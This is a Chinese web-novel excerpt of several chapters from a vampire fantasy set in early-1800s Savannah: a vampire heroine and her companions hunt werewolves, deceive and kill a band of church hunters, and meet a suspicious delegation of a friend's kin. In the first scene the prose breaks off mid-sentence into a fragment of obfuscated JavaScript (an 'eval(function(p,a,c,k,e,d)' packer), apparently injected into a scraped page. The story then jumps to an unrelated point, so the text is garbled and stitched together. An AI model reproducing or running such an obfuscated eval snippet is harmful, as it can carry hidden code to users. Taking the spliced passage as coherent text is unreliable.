这个木讷的女人不再那么害怕之后，话还挺多。我了解到她大多时候一个人住在一间小棚屋里，还特别喜欢兔子。今晚的行动真是越来越奇怪了。 “道尔顿……” 我的仆人重重地叹了口气，没有看我。 “对不起，女主人。不会再发生这样的事了。” “哦，不，我可不想扫你的兴。这还挺让人惊喜的，不过，你能理解我的好奇心……” 我在我这位珍贵的伙伴脸上看到了罕见的神情——窘迫。 “那是很久以前的事了……” “至少告诉我是什么让你这么生气吧。你平时一向很沉稳的……” 道尔顿沉默了一会儿，整理了一下思绪，然后开始讲述。 “有一种人，特别享受权力带来的感觉。事实上，他们太享受了，以至于会想方设法打压身边的人，这样他们就能一直掌控权力。他们打老婆、打孩子，磨灭家人的意志，让身边全是一群胆小怕事、不敢为自己抗争的可怜虫。他们对成长毫无兴趣，只在乎控制别人。 像之前那个卑鄙的家伙一样，有些男人找到了宗教作为幌子。宗教告诉他们，他们是上帝的选民，知晓唯一的真理，这让他们觉得自己高高在上。他们可太得意了。现在，他们打家人成了为了保护家人免受罪恶侵害。可他们怎么知道那是罪恶呢？因为他们是上帝的选民啊，如果他们不喜欢，那上帝肯定也不喜欢。事情就是这样。整个村子都是一群自以为是的无能之辈，排挤所有可能威胁到他们‘幸福统治’的人。” 不用多聪明也能明白他的怨恨从何而来。 “你对他的惩罚很精彩。” “哦，不，女主人。惩罚才刚刚开始。你看，我是当着他孩子的面这么做的。现在他们知道自己的父亲也不是万能的，不过是个易怒的小人物罢了。等他们长大了，会记住这一幕的，知道有人能反抗他并且取得胜利。” “这是播下了反抗的种子？” “也许吧。也许他们谁都没那个胆量，又或者他们都会变得和他一样。但这都不重要。我让他们有了值得思考的东西。这比我当年得到的要多……” 说完最后这句话，道尔顿变得异常沉默。我决定让他独自思考。他很少表露情感，如果换作别人，可能会为此担忧，但我并不在意。我们之间的紧密联系是无法伪装，也无法被破坏的。 “我不会让我的怨恨危及我们的事业，女主人。” “我知道。我信任你，我想我现在明白，那天在‘勇敢号’营地，你为什么会信任我了。” “是的，”他微笑着回答，“比起虚伪的人类，我宁愿选择一个光明磊落的怪物。” 我们心照不宣地相视一笑，随后陷入了惬意的沉默，马车带着我们缓缓前行。 1805年10月，萨凡纳。 门卫一认出我，就立刻打开了门。上次帮我处理财务事务的那个紧张兮兮的会计小步跑过来，毕恭毕敬地说道： “欢迎回来，阿丽亚娜女士。艾萨克主人很快就来。您请坐？您想喝点……呃……” “不用了，谢谢。”我对这个脸色变得煞白的男人说道。 没错，这话选得不太好。反正我也不会接受他的提议，那样对艾萨克太不礼貌了。而且我还挺喜欢“阿丽亚娜女士”这个称呼的。 这个小会计匆匆跑回他那看似安全的办公桌后面，我则趁机研究起这个地方的魔法防护设施。我现在认出那套盔甲是一个可操控的魔像，目前处于未激活状态。洛斯借给我的那本书里提到过，魔像不知疲倦，也感觉不到疼痛。它们是抵御吸血鬼的有效防御手段，不过它们行动缓慢，这可能会成为弱点。对付它们最简单的方法就是灵活躲避。要是做不到的话，就得毁掉它们的核心。 地上的符文也很有意思。这是一个所罗门传统的封印，虽然我还不完全清楚它的全部用途，但我觉得它和干扰外来魔法有关。 “在研究对手吗，阿丽亚娜？” 我站起身，向我的主人行了个屈膝礼。可当我看到他时，原本准备好的回答却卡在了喉咙里。 他身上有些变化。 那股标志着他和我同属一类的冰冷气息，力量明显增强了许多。而且，这股气息似乎还在不断变化，我看着它，它就在不断增强，尽管如此，它依旧像之前一样有序且稳定。 “哇！看来得恭喜你了？” “没错！确实值得恭喜。我们边走边说，我给你讲讲我最近的成就。” 我拒绝了他伸过来的胳膊，他倒是很优雅地接受了。我们走出大楼，离开码头，朝着城市更繁华的区域走去。道尔顿在不远处跟着我们，时刻保持警惕。 “你的力量感觉像大师级别的了。” “没错，上次我们一起外出之后，我回到家就立刻陷入了长时间的沉睡。从那晚的经历中，我学到了很多，比你想象的还要多。那些领悟让我突破了瓶颈。你眼前的我，是罗森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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除了从餐厅传来的一丝心跳声，这里空无一人。 我悄无声息地走了进去。要是我的心脏还在跳动，此刻肯定会怦怦直跳。 他背对着我，坐在一张桌子旁。他的手指在有划痕的木桌上紧张地敲打着，试图专注地看一份货运清单，却徒劳无功。 我带着孩子般的兴奋，悄悄走到他身后。哦，我已经好几个月没有这种像人的感觉了！我用手蒙住他的眼睛。 “猜猜我是谁！” “我的宝贝女儿！”他高兴地大喊。 “让我好好看看你！”他一下子跳起来，双手托住我的腋下，把我像稻草一样举了起来，还像摆弄奇怪的小动物似的转着圈。我欣喜地发现他恢复了往日的力气，不过他的头发比我记忆中多了不少白发。我努力不让自己为此难过。 过了一会儿，他给出了评价。 “你胖了。” “胡说！造谣！”我气呼呼地说道。 “哈哈哈，好好好。来，坐这儿，跟你老爸讲讲所有的事。” 我简单地给他讲了离开家之后发生的事。不出所料，我刚开口就被打断了。 “那些该死的狂热分子还雇了个法师？典型的伪君子。一群混蛋，我希望你狠狠收拾了他们。” “我收拾了。还有，注意言辞！” “饶了我吧，女儿。你姑姑又不在这儿。” “那我也能开始说脏话了？！” “你想吗？” “这不是重点！” “照我说的做，别学我，这是每个家长的特权！” 我开玩笑地轻嘶了一声。当我意识到自己做了什么，顿时僵住了。我本不想在他面前暴露这一面，然而，我的担心是多余的。爸爸并没有被这非人的声音吓到，反而走近了我。 “我能……我能看看吗？” 我犹豫了一下。 “要是你不想的话，阿丽亚娜，也没关系，我理解这可能会让你为难。” “不，没关系。” 爸爸握住我的手，轻轻抚摸着我的爪子，小心翼翼地不让自己被划伤。与此同时，我张开嘴，露出了獠牙。他低下头仔细查看。 “嗯。” 当我们突然发现艾萨克在房间里时，都吓了一跳。 “天哪，你别这样吓我！” “抱歉，雷诺先生。我只是来告诉您，一切都安排好了。您会在您的房间里找到已签署的合同。那我就此祝您晚安。” 他带着完美的职业素养鞠了一躬。我这下可糗大了，是吧？我们默默地看着他离开。 “你和罗森塔尔家族签了合同？” “是的，他们在找一个值得信任，且有强大储物能力的合作伙伴。我们的地理位置能让他们避开其他家族的势力范围。” “这挺好的，我，等等，先别急，等等，你怎么知道这些的？！” “嗯……” “爸爸？！” “你要是告诉我，为什么吕西安在他父母不在的时候会打听你的事，我就告诉你。” “啊。哈哈。这个嘛……” 爸爸双臂交叉，扬起了眉毛，这意味着我这次躲不过去了。 “我去找你的时候，先去了庄园。罗杰出来了，吕西安跟在他后面。” “他们看见你了？罗杰从没说过……” “我让他别提起我。” “我明白了。至于我为什么知道这么多，是因为你的信是一个吸血鬼寄来的，我设法和她取得了联系。” “什么？！她从来没说过！” “我让她保密，我不想让你担心。” “爸爸，这个世界很危险！” “但对这些视而不见也救不了我，自从他们把你带走之后就不行了。不管怎样，阿希尔扩大了生意，现在我们能解释那些隐藏的利益团体了，之前很多我们觉得奇怪的交易也就说得通了。还有，阿希尔还不知道，我打算把你应得的那份遗产留给你。” “爸爸……” “嘘，我完全指望你以后照顾好你的侄子侄女，还有他们的孩子。我希望你能长久地陪伴着这个家，我把保护家族的责任交给你。” “……好吧，我答应你。” “说到这个，阿希尔的妻子妮可又怀孕了！康斯坦萨也是。” 我们接着聊起了我的家人，之后我才继续讲我的经历。最后，我提到了道尔顿。 “我们大多时候一起追捕赏金目标。” “现在的年轻人都这么委婉吗？” “爸爸？！” “哈哈哈，开玩笑的。好吧，要是你们办婚礼，记得提前告诉我。我得安排安排。” “就算真有那一天，我们也找不到牧师。” “啊，谁在乎牧师呢，我可以主持一场异教徒的婚礼。让那个纳肖巴小伙子来见证。” “还是算了。” “好吧，好吧。” 之后，我让道尔顿也加入了我们。他们互相打量了一番，很快就聊得很投机。我们在愉快的氛围中结束了这个夜晚，还一起规划了未来。 我已经很久没有这么接近曾经作为人类的阿丽亚娜的感觉了。我怀疑这会不会成为我的弱点，但又意识到自己并不在乎。如果我能活下去，就不得不看着我所有的家人都因年老而离世，也许他们的孩子也是如此。我得趁现在好好享受当下，珍藏这些回忆。这感觉很重要。 我也意识到我有能力照顾阿希尔的后代了。虽然我现在还太弱小，无法立刻有所作为，而且这些后代大多还未出生。但这仍是未来值得考虑的事情。 这一切让我有些心绪不宁。我知道自己需要什么，一场酣畅淋漓的狩猎。 36.狩猎与阴谋之夜 “我已经开始讨厌这次狩猎了。” “姑娘，你就是输不起。” “只是因为我输得太频繁，这让我心里很不痛快……” 洛斯看起来一脸无辜，这让我起了疑心。每次我都坚持要换个方式决定谁先行动，可最后还是输了。洛斯总不可能每场游戏都作弊吧。 肯定不会…… “把你脸上那副得意的表情收起来，先生。” 一声嚎叫打断了他的回应。 我知道狼的叫声是什么样的。它们的嗥叫阴森又美妙，要是你身处户外，还会觉得毛骨悚然。但我现在听到的声音，比狼叫刺耳得多，简直令人厌恶。更重要的是…… “洛斯，有两只（狼人）。” “嗯，我听到了。” “我们得去帮他。” “不，我们得相信他。” 洛斯本想用伸出的手臂拦住我，可又改变了主意。我们对视了片刻。 “我希望你能给我一个合理的解释，洛斯。” “这孩子第一次出来执行任务。别束缚他，让他好好表现一下。有点信心，阿丽亚娜。” 我气得咬牙切齿。我不想他受伤，我得让他以我的名义去狩猎，没错，这很公平。他是我的附庸，他会像猎杀那些杂种一样，把这些可恶的家伙拿下。 在我们前方的空地上，每隔一段距离就有火把燃烧着，中间是一匹被宰杀的马，马身上放着三个盛有人血的圣杯。道尔顿手持洛斯最新改良的“屠狼者”，身姿挺拔。他脚边的地上插着一支银质镶嵌的野猪矛。 即便以我吸血鬼的感知力，也几乎察觉不到他有丝毫恐惧，只有期待和对即将到来的致命搏斗的兴奋。 我的附庸自己选了这个地方，他认为开阔的视野最为重要。洛斯没发表意见，看来这个想法有一定道理，尽管我更想亲自出手，把那些家伙撕成碎片，但我已经答应了让他来。道尔顿抽签抽到最短的那根稻草，所以这次行动由他执行。 它们来了。我满怀期待地向前倾身。 巨大的身躯推动着，木头发出嘎吱嘎吱的响声。道尔顿转身，单膝跪地。 “屠狼者”是一把巨大的弩。它依靠一套精巧的滑轮和紧绷的金属弦来保证强大的拉力。对凡人来说，它肯定很重，但从道尔顿的表现来看，完全看不出来。经过严格的训练，他轻松地握住了这把弩。 一个庞大的怪物从植被中冲了出来，闯进空地。它一眼就看到了道尔顿。 道尔顿瞄准，等待着。 狼人四肢着地向他冲来，它怪异的步伐是对自然的一种扭曲模仿。 道尔顿等待着。 那怪物怒吼着，宣泄着它的愤怒和对鲜血的渴望，爪子在满是伤痕的地面上划出一道道沟壑。四十步远。三十步。 道尔顿等待着。 二十五步。 我终于听到了紧绷的弦被松开的声音，却没看到带倒刺的银弩箭离开弩槽。 它实在是太快了。 狼人的脑袋像炸开的血花和脑浆，它的身体扭曲着倒在地上。 道尔顿站起身，从腰间的枪套里掏出两把枪，这时第二个黑影冲了过来。在那东西扑到他之前，他开了枪。狼人抬起爪子，想要捂住被打烂的眼睛，但并没有停下。 那只惨叫着的怪物从他身边冲了过去，他则向旁边翻滚，顺势抓起野猪矛。在这只瞎了眼的野兽还没反应过来时，我的附庸就把银刃深深地刺进了它的腋窝。怪物颤抖着，徒劳地挣扎着。道尔顿凭借力量和平衡，成功地抵挡着它。每动一下，它的伤口就会变得更严重。鲜红的血很快在它周围汇聚成一滩。 凭借充分的准备和致命的技巧，道尔顿打倒了这片土地上最危险的两只超自然生物。 “过来享用吧，女主人，趁还没凉。” 我满怀骄傲地走到他身边。他做得太棒了！ 我迅速地吸食着鲜血。这味道美妙极了，就像来之不易的战利品，是献给任何国王都当之无愧的祭品。等我回过神来，洛斯正在祝贺道尔顿精准的射击和过人的勇气。 “真冷静啊，小伙子！我们迟早能把你培养成神枪手。” “谢谢你，亲爱的附庸，为我们带来这场精彩的战斗，还提供了食物。现在，我要……等等。嘘！我听到了什么动静。” 两个男人立刻安静下来，连呼吸都变得轻缓。我闭上眼睛，集中精力去听。 我听到了同伴们的心跳声、火把燃烧的轻微声响、森林里各种各样的声音，在这些声音的背后，还有脚步声。 一群生物正在向我们靠近。他们小心翼翼，却又带着自信。我集中注意力。 有那么一瞬间，我的耳朵里除了他们的声音，其他的都消失了，紧接着一阵剧烈的头痛让我猛地退缩。这阵不适让我皱起了眉头。我要学的还有很多，但现在我已经知道得够多了。 “有一群人，大概三四个。我听到了皮革和金属的摩擦声，他们肯定带着武器。” 我转向洛斯，道尔顿也看向他。今晚是应他的要求出来狩猎的，这里是他的地盘。按道理，应该由他来做决定。 “我们先躲起来观察。” 我去取弩箭，其他人拿起野猪矛和弩。我们跑去寻找掩护。没等多久，那些不速之客就出现了。 三个穿着加百利教团标志性皮革装的男人，艰难地穿过灌木丛，在空地边缘停了下来。 我凑近洛斯，问道： “你想怎么做？” “我们得把他们都杀了。” 很合理。 就在这时，我闻到了他们的气味。汗水味、恐惧的味道，在这些之下，其中一个人……这可有意思了。 “我能试试别的办法吗？” “当然可以，姑娘，这次听你的，但他们一个都别想活着离开这片空地。” “好。” 我躲到看不见的地方，迅速换上旅行裙。就在其他人行动的时候，我从侧面走进空地。我在火把照亮的光圈间爬行，来到离两具狼人尸体不远的地方。 现在想想，我都不知道狼人还能成对狩猎。洛斯从来没说过有这种可能。 算了，这可能只是个意外。没什么好担心的。 那三个人朝空地中心走去，其中一个人还不时地回头张望。他们采用这种明显是为了对付狼人的阵型，这让我觉得很奇怪。两具怪物的尸体就蹲在两个火把之间，他们在那里看得清清楚楚。猎物的死亡，还有火把的存在，都应该让他们意识到，如果他们的敌人真的是敌人的话，对方会使用工具。按照这个逻辑，他们最不应该做的就是慢慢地暴露在众人的视线中。 我再次集中精力去听，确认他们没有被跟踪。 看来，思想僵化可不是古代吸血鬼的专利。我不该感到惊讶。我又一次在一场本可以用弩箭迅速解决的对峙中，费了太多力气。 好吧，至少我能让它变得有趣些。我感觉一场精彩的《挚友的背叛》即将上演。当然，这是即兴发挥，但依然很有意思。 那三个人走到两具怪物尸体旁。其中一个人摸了摸其中一只野兽的尸体。 “还温热……” “我们应该……” 我打了个喷嚏。三盏灯笼立刻照向我，刺眼的光芒让我不得不抬起手臂挡住眼睛。 “请……别伤害我！” 沉重的脚步声越来越近。一只手抓住我的手腕，把我拽倒在地。我疼得叫了起来，又惊又怕。 “不……求你了！” “一个女人？在这儿？” “你是谁？在这儿干什么？”那个对我动手的男人问道，他现在站在我的左边。 我害怕地抽泣着，眼睛紧闭。我现在只是一个在黑暗偏僻森林里手无寸铁的可怜女人。三个男人把我拿捏在手里，什么事都可能发生。我害怕极了。 “冷静点，加梅林，你没看到你把她吓得半死吗？你，女士，你叫什么名字？”中间的男人问道。 “我……我叫玛蒂尔达，先生，玛蒂尔达·华莱士。” “你这么晚在这儿干什么？嗯？”右边一个尖酸的男人问道。 “这不是我的错！我不想在这儿，但他把我抓走了……” “谁？谁把你抓走了？” “我不知道！一个男人！我不认识他！” “等等，从头说起。你们两个，注意四周。这是在野餐吗？！” 灯笼从我面前移开后，我抬起眼睛看向他们的首领。我快速眨了眨眼，让视线清晰起来。他是一位年长的绅士，留着络腮胡。更有意思的是，我没法魅惑他。 这三个人都被一种以他们胸前十字架为中心的“茧”状东西包围着。我们之间没有联系，我试图强行建立联系时，只感觉到一阵强烈的冲击，那明显是一种警告。就像舌根处尝到的灰烬味道。 好吧，那就用老办法。 “我……我当时在去赫尔的路上。离这儿不远。” 我朝南边挥了挥手。我们来这儿的路上经过了那个小村庄。 “然后这个浑身带着武器的高个子男人从树林里跳了出来！我太害怕了！” “什么样的武器？” “嗯，我看到了，有枪！” “女人……”那个尖酸的男人嘀咕了一句。我很确定他就是那个气味很特别的人。你就等着吧，你这个胆小如鼠的蠢货。 “戴尔，你能不能闭嘴一秒钟，求你了？华莱士小姐，是哪种枪？” “嗯，至少有两把枪。可能还有更多。” “接着说？” “他还有一种奇怪的弓，有个把手。” “是弩吗？” “我不知道，先生，我没看到十字。” 戴尔轻笑出声。络腮胡首领极力克制着，才没动手打他。 “还有别的吗？” “有，他有一根长矛。我觉得是狩猎用的长矛。我父亲也用过类似的。” “那不是我们的人。” “戴尔，你再敢说一个字，我就拿你当活诱饵。华莱士小姐，那个男人长什么样？” “他很高大，强壮得像头牛。他留着大红色的胡子，塌鼻子，右眼上方还有个戒指。” 我描述的是罗尔夫·斯通黑德，洛斯那些亲戚里可能最蠢的一个。在树林边的某个地方，有人轻轻笑出了声。 “你是说，他有个戒指？” 我拼命点头。 “我们凭什么相信这个□□。正经女人这个时候都该在床上睡觉，她可能是跟着他来这儿幽会的。” 虽然我现在扮演的是一个惊恐无助的女人，但这些指责刺痛了我的自尊心，我必须表现出一点情绪。 “你这么说可太不厚道了，先生！”我抗议道。不过，我得尽快重新表现出对恶魔般怪物的恐惧。 “哦不，这简直是噩梦！这不是真的……” “小姐，看着我。” 虽然这个小队的首领装出一副和善的样子，但他的眼神里却透着算计。这个人比其他人精明。他能感觉到事情不对劲。 “告诉我，之后发生了什么？” 我低下头，闭上眼睛，努力回忆着。 “嗯，他抓住了我。他力气很大，我很害怕，所以没反抗。倒也不疼。他说他需要诱饵。” 戴尔和加梅林小声地交头接耳。 “他会是谁呢，是个独立猎人吗？” “也许是个崇拜恶魔的人？” 我接着说： “然后他拖着我穿过树林。他不回答我的问题，也不理会我的哀求。他只让我……让我闭嘴。” “这是个明智的决定。” 络腮胡首领站起身，一记有力的右勾拳把他的下属打倒在地。我赶紧捂住头，被这突如其来的暴力吓得叫出声来。不得不承认，这一拳打得真漂亮。 让我暗自高兴的是，戴尔怒吼起来。 一丝怀疑闪过络腮胡首领原本严肃的表情，但他很快就把这丝怀疑抛到了脑后。 没错，凡人，你就快明白了，但你却不敢面对真相。 “然后呢？” 我艰难地咽了口唾沫，被眼前这个显然很危险的男人吓到了。 “然后……他把我带到这儿。这里有一匹马的尸体，还有火把。” “接着说。” “夜幕降临的时候，他用注射器抽了些血，”我一边说，一边揉着左臂的肘弯，“然后就把血洒在尸体上。我还以为他是个疯子，要搞什么邪恶的仪式。” “你怎么知道他没这么做？” 啊，这是个敏锐的问题。很多说谎的人都会被这个问题问住。 “我不知道？他把我拖到一边，就站在那儿。一句话也不说，直到……直到……” 我的声音颤抖起来，我抱住头，倒在地上。我呼吸急促，一只手按在胸口，像是要让狂跳的心平静下来。 “那些是恶魔吗？” “它们是亵渎神灵的生物。你只需要知道这个。” 他转身准备离开。什么，这么快就走？ “等等！求你了。” 络腮胡首领本想无视我，但他实在无法对一个无助的女人置之不理。我有了一个短暂的机会。 “你们住在附近吗？我能跟你们一起走吗？” “不，我们不住在附近。你也不能跟我们走。” “别把我留在这儿，求你了！” “听着，它们现在都死了，我们应该安全了。” “要是还有呢？！” “没有了。我们已经追踪这两只怪物三天了。没有别的了。” 啊，原来他们之前和这些怪物交过手，这就是戴尔被诅咒的原因。他们已经旅行了三天，这也意味着他们的基地离这儿比较远。也许洛斯知道得更多。 现在该收尾了。 “那至少跟我回赫尔过一夜吧。你们可以休息一下。你们不应该带着一个受伤的人在外面走。” 他们都愣住了。 哦，没错。就是这个珍贵的时刻，怀疑的种子绽放成一朵美丽却邪恶的花朵。 “你刚才说什么？” “没什么！没什么！对不起！我不是故意暗示什么的！”我惊恐地尖叫起来。络腮胡首领抓住我的衣领，把我提了起来。哟，还挺大胆！ “谁！谁受伤了？！你看到了什么？！” 我刚来得及抬起手护住自己，络腮胡首领的脑袋就在我面前炸开了。我的裙子溅满了鲜血和脑浆。 呃，真恶心。 还有，搞什么？我还以为会有一场激烈的争吵，最后演变成一场打斗。没想到戴尔这么爱开枪。算了。 “不！”加梅林尖叫着，掏出自己的手枪，“你怎么能这样？！” 他们扭打在一起，疯狂地挥舞着四肢，拼命把枪口对准对方的要害。 “我要回伊莉丝身边！我必须回去！我知道你会对我做什么！” “叛徒！你难道没和我们一样发过誓吗？你就这么轻易地放弃自己的灵魂？” “去他的！我没被诅咒！我不可能被诅咒！我是上帝的选民！” 没错，没错，上帝的选民。阿尔芒神父以前也常说上帝爱我，可现在呢。 我饶有兴致地看着他们在满是鲜血的地上扭打，直到加梅林占据了上风。他把戴尔猛地摔在地上。 戴尔没有反抗加梅林，也没有挣扎着起身，反而突然把手臂向下一推。在这短暂的喘息之机，他举起枪向上开了一枪。 子弹差得很远，没打中加梅林。 然而，燃烧的黑色火药烟雾却扑到了他脸上。 这个可怜的家伙向后一缩，伸手去揉眼睛。叛徒毫不犹豫，他抓起掉在地上的枪，转身对准这个他曾经称作兄弟的人，近距离开了一枪。 加梅林的头猛地向后一仰，倒在地上，死了。 我在地上哭泣着。只有我可怜的啜泣声和戴尔发自内心的咒骂声打破了这片空地的死寂。 最后，他站起身，朝我走来。 “不，求你了，求你了！我什么都没做！” “我知道。我很抱歉。我别无选择。”他说着，又举起一把枪对准我的头。他转过头，脸上满是愧疚。一滴眼泪顺着他的脸颊滑落。 他扣动了扳机。 枪声的回音渐渐消失后，他跪倒在地。很长一段时间里，只有他因愧疚而流下的痛苦泪水，最后他对着天空怒吼，宣泄着自己的痛苦。 “为什么？” “因为你违背了誓言。” 戴尔惊恐地转过身，我站起身，拍掉膝盖上的草。现在我的旅行裙上沾满了鲜血、脑浆和烟灰。洗起来可真是个大工程。 “什么？不！我不明白！你是谁？这是怎么回事？” “这，勉强算是一场《挚友的背叛》的演出，你扮演叛徒同伴，我则是幕后操纵者。不过，说实话，你让这一切太容易了。” “你怎么还活着？我朝你脑袋开枪了！” “纠正一下，你朝我的脑袋开枪，但没打中。” “这不可能……我疯了，彻底疯了，这只是个梦，没错，只是个梦。” 真是有趣的发展！他开始神志不清了。我走近他，在草地上跪在他面前。当我抓住他胸前的十字架时，它烫得我手疼但我还是把它扯了下来。 “很疼吧？这一切。” “是的，求你让这一切结束吧，让我醒过来。” “我会让一切都好起来的，小叛徒。乖乖别动……” 他的味道就像一场圆满落幕的戏剧，还带着一丝诅咒的气息。味道还不错。 洛斯和道尔顿走进空地，礼貌地鼓掌。道尔顿把尸体堆起来，洛斯检查那些牧师的物品，我则去捡柴火准备生篝火。 戴尔是个叛徒，还是个弑兄者。我看不起他，却尊重络腮胡首领，虽然我始终不知道他的名字。很奇怪，我对那些可能对我造成最大伤害的人，反而没什么怨恨。我只尊重那些始终坚守信仰的人，哪怕这意味着他们要消灭我。也许这是…… “阿丽，你又喝醉了？” “什么？呸，没有，绝对没有。要是我吸干了三个人的血，那我可能会醉，但我只吸了两个。所以才没醉！” “你确定吗？我记得狼人血劲儿很大。” “那只是半只狼人的血，不算数。” “你现在很爱思考啊，姑娘。你喝醉的时候才会这么爱思考。” “才没有！我好得很！” “好吧，抱歉。顺便问一句，你为什么要把他们的火枪扔到篝火里？” “……” “……” “严格来说，火枪大部分是木头做的。” “对，姑娘，当然是这样。去坐个一两分钟，好吗？” 演戏真难。 毛巾挂好了，浴盆空了，我卧室的门紧紧锁着。洛斯在最后一次尝试制作魔法□□——他最近的新项目之后，回房休息了。道尔顿早就睡着了。 我 naked 走向我的床，不是棺材，然后一屁股坐在柔软的床垫上。床垫有肥皂的味道。我身上则有茉莉花香和吸血鬼皮肤特有的淡淡香料味。床帏用柔和的蓝色笼罩着我。 我用手指轻轻划过自己的身体。指甲划过皮肤，却没有划破，手停在肚脐下方。 我转头看向床头柜，上面放着希梅纳送我的另一件礼物。那是一本关于牧羊女和众多英俊贵族的稀有故事书。 我要享受一下“自我时光”了。 我用一只手翻开书，开始读新的一章，标题是《我们的女主人公与唐·米格尔私奔到树林……》 事情发展得真愉快。 “……还有唐·罗德里戈。” 哦，我的天！ 可惜，我刚开始读，铃声就响了。是紧急铃声。意味着洛斯有重要的事情需要立刻处理。 或许我可以把铃从墙上扯下来，假装是个意外？ 我无奈地叹了口气，穿上睡衣和内衣，趿拉上拖鞋，迅速走出房间。不出所料，房子里一片漆黑，空无一人。没有火灾，没有闯入者，总之，没有什么事情值得在这个最不合适的时候打扰我。我强忍着怒火，上楼去。希望这真的是重要的事。 我在吸烟室找到洛斯，他穿着一件精致的丝绸长袍，手里拿着一杯威士忌。旁边的桌子上放着一个空瓶子。快要熄灭的火光照在他深色的眼睛里。 我感觉到了他的情绪，默默地坐在他对面，等着他开口。 他缓缓地用手抹了抹脸，然后捏了捏鼻梁。当他再也无法拖延时，他的声音因为压力和酒精的刺激而变得沙哑。 “你知道，这都怪你。” 他听起来像是在为自己辩解。 “很多事都怪我。你得说得具体点。” 洛斯撅起嘴，大胡子滑稽地动了动，最后递给我一封皱巴巴的信。我打开信，上面全是如尼文。通过对他魔法体系的学习，我能解读出几个关键信息：妻子、船、到达，还有几个代表人物的符文，以及一个时间坐标，我意识到是三天后。 没花多少时间，我就把事情拼凑起来了。 “洛斯？” 我像挥舞旗帜一样晃了晃信纸。 “你收到这封信多久了？” “嗯哼哼嗯嗯嗯……” “洛斯！” “一个月！” 愿沉默守望者保佑我远离拖延症患者。 “我是不是可以理解为，你的通信有了结果？” “不是！莱克妮——我妻子，她一发现我还活着，就设法找到了我，现在她正带着那个该死的罗洛来萨凡纳！” “是那个在英格兰国王面前露屁股的罗洛，还是那个亲猪嘴的罗洛？” “都不是，是我之前从没提过的第三个罗洛。” “啊？” “是的，听着，这家伙有点讨厌。” 我气得差点呛到，洛斯却打断了我。 “你别开始。我现在很生气，要是想骂脏话，我可不管。该死的！我得去和他们对峙。不然他们来这儿，我就没完没了了。” 我能想象到那混乱的场面。那些寡妇来这儿寻欢作乐，却发现她们的情人已经结婚了。真是丑闻。 好吧，不管怎样，这会更丑闻。 “我觉得自己有点责任。我可以……说服他们回去。” 洛斯眉头紧皱，眼睛眯成了一条缝。我得激他一下，不然他临阵脱逃的念头可能会越来越强烈。现在他的自尊心不会让他退缩了。 “我自己能解决这些该死的问题，谢谢。只是……” “什么？” “你能和我一起去吗？为了安全起见。” “当然。” “等等，姑娘，你可能觉得我是在开玩笑。我是认真的。那个罗洛坏透了。” “你怀疑他们有阴谋？” “怀疑？不。我确定他们有阴谋。所以你和我得列一个应急清单，以防我不像你想的那么多疑。明白吗？” “当然，洛斯，我会尽力消除你的担忧。” “消除？得了吧，阿丽亚娜，就不能有一秒钟别这么一本正经的？” “不能。” “求你了……” “呸，好吧，就这一次！要是他们敢碰你，我就把他们打得屁滚尿流。” “谢谢你，姑娘，但你是不是想说，你要把他们的头塞进……” “别得寸进尺。” 我从不知道一个简单的动作能蕴含这么多意思。有些微笑抵得上千言万语。洛斯的叹息就像一整本书。 后悔、焦虑、羞愧、绝望、怨恨、失望，这种情绪数不胜数。我们在萨凡纳边缘一家相当昂贵的旅馆里设了个会面点。三个人刚到。一天前，有四个人抬着一个巨大的箱子沿着通道走了下去。那个箱子大得足以装下像洛斯这样的大块头。 不用多聪明也能猜到，他们想把他带回去，而且是迫不及待地想。 “我感觉不太对劲，阿丽亚娜。我不太确定该怎么做。” “你心里想怎么做？” 洛斯转向我，我想起了我幻象中的那个战士，那个大笑着把斧头砍进别人胸膛的人。 “咱别谈这个了，好吗？我现在心里想的，就算是你也会反对，说这有辱狩猎之类的。” 我突然兴奋起来。这和狩猎无关，这是为了复仇。他的那些亲戚打算犯下可怕的罪行，违背他们的誓言，而且对象还是自己的亲人。他们就算接受他的和平提议，心里也肯定藏着坏心思。 叛徒。我们应该拿他们立个榜样。把他们一个个剖开，像从骨头里抽取骨髓一样挖出他们的秘密。把残渣送回去。让其他人看看背叛的代价。 “别诱惑我，姑娘，我求你了，别诱惑我。” 我收起狰狞的笑容，收起所有的獠牙。如果洛斯追求的是正义，他妻子早就死了。他想要的是一个了断。我不想逼他做会让他后悔的事。作为朋友，我应该对他更好些。 “你想和他们对峙？” “自投罗网？这太蠢了，就是这样。” 他想了一会儿，就像在戳伤口，看看有多疼。最后他转向我时，所有的情绪都被紧紧地压抑着。只剩下冰冷的愤怒。 “我得弄清楚。” 我透过窗户看去。 旅馆里异常冷清。只有一张桌子有人，洛斯的亲戚和他妻子坐在那里。那个矮壮的金发女人肯定是莱克妮，她看起来很紧张。另外两个男人和我的朋友一样身材魁梧，留着浓密的胡子。右边那个红头发的看起来很担忧，左边那个头发像黑夜一样黑，优雅地卷着。他面相凶狠，我敢用真金打赌，他就是罗洛。我看着他，他机械地伸手摸向身侧鼓起的地方，我看到了锁子甲的反光。 “他们带了武器，还穿着盔甲。” “他们当然会这样。” 洛斯从马车的掩护处走出来，伸了个懒腰。关节和骨头发出的声音就像军乐一样。 “好吧，不管了，试试吧。” “洛斯？我在想……” “怎么？” “如果是对付姻亲，这还算不算血亲相残呢？这应该可以接受吧。” “呵！” 这个大块头只对我露出了半个微笑，但他看起来没那么脆弱了。现在，他的悲痛被一层宿命般的轻蔑所掩盖。在离开之前，他最后一次转向我。 “谢谢你，阿丽，还有……我就指望你了。” 我点点头表示回应。莱克妮那伙人可不傻。他们肯定料到洛斯会反抗，也准备好了应对措施。如果他们不蠢，肯定准备了很多手段。 现在是我履行承诺的时候了。我避开众人的视线，绕着旅馆走，找到一条空巷子，爬上了墙。没几下，我就到了旅馆的屋顶旁边。 现在，如果我想把洛斯带回他的国家，我会先试着和平地说服他。这只会花些时间。这就是莱克妮亲自来的原因。如果这招不管用，我肯定会想办法让他失去反抗能力。这就是我看到那个从二楼窗户出来的黑影的原因。 为了把他带回去，他们可真是无所不用其极。要是他们真了解这个人，就会知道，找五个他的表兄弟，再加上一场为期两周的狂欢豪饮，就能搞定他。 那个身影动了动，我认出那是个男人的轮廓。我很好奇。我感受不到他身上有一丝魔法波动，但这里显然有神秘的魔法在起作用。是隐藏魔法的咒文吗？ 我很难看清这个人的行动。他的动作看起来杂乱无章，我很难跟上，不是因为动作快，而是因为让人困惑。 